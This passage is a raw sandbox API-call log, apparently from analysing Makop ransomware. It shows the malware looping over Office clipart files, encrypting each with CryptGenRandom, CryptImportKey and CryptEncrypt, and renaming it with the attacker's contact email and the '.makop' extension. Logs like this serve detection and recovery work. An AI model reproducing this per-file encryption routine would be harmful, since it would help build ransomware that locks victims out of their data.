Office\\CLIPART\\PUB60COR\\DD01168_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.539] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.541] CloseHandle (hObject=0xf0) returned 1 [0111.541] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0111.541] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0111.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.543] GetProcessHeap () returned 0x48a0000 [0111.543] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.543] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.544] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.544] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.548] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.549] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.549] GetProcessHeap () returned 0x48a0000 [0111.549] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.549] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.549] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.549] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.549] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.549] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.549] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.550] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.550] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.550] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.550] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.550] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.550] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7e4, lpOverlapped=0x0) returned 1 [0111.550] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7f0) returned 1 [0111.550] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.550] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7f0, lpOverlapped=0x0) returned 1 [0111.551] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.551] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.551] SetEndOfFile (hFile=0xf0) returned 1 [0111.582] GetProcessHeap () returned 0x48a0000 [0111.582] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.582] GetProcessHeap () returned 0x48a0000 [0111.583] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.583] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.583] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.585] CloseHandle (hObject=0xf0) returned 1 [0111.585] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0111.585] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0111.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.586] GetProcessHeap () returned 0x48a0000 [0111.586] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.586] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.586] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.587] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.591] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.591] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.591] GetProcessHeap () returned 0x48a0000 [0111.591] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.591] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.591] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.591] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.592] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.592] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.592] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.592] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.592] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.593] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.593] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.593] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.593] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x964, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x964, lpOverlapped=0x0) returned 1 [0111.593] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x970, dwBufLen=0x970 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x970) returned 1 [0111.593] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.593] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x970, lpOverlapped=0x0) returned 1 [0111.593] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.593] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.593] SetEndOfFile (hFile=0xf0) returned 1 [0111.601] GetProcessHeap () returned 0x48a0000 [0111.601] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.601] GetProcessHeap () returned 0x48a0000 [0111.601] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.601] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.601] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.602] CloseHandle (hObject=0xf0) returned 1 [0111.603] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0111.603] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0111.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.603] GetProcessHeap () returned 0x48a0000 [0111.603] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.603] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.604] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.604] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.608] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.608] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.608] GetProcessHeap () returned 0x48a0000 [0111.608] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.608] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.608] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.608] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.609] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.609] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.609] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.609] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.609] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.609] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.610] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.610] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.610] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x804, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x804, lpOverlapped=0x0) returned 1 [0111.610] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x810, dwBufLen=0x810 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x810) returned 1 [0111.610] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.610] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x810, lpOverlapped=0x0) returned 1 [0111.610] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.610] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.611] SetEndOfFile (hFile=0xf0) returned 1 [0111.618] GetProcessHeap () returned 0x48a0000 [0111.618] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.618] GetProcessHeap () returned 0x48a0000 [0111.618] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.618] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.620] CloseHandle (hObject=0xf0) returned 1 [0111.623] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0111.623] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0111.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.624] GetProcessHeap () returned 0x48a0000 [0111.624] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.624] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.624] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.625] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.629] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.629] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.629] GetProcessHeap () returned 0x48a0000 [0111.629] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.629] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.629] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.629] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.629] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.630] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.630] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.630] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.630] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.631] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.631] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.631] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.631] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8b8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8b8, lpOverlapped=0x0) returned 1 [0111.631] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0) returned 1 [0111.631] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.631] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8c0, 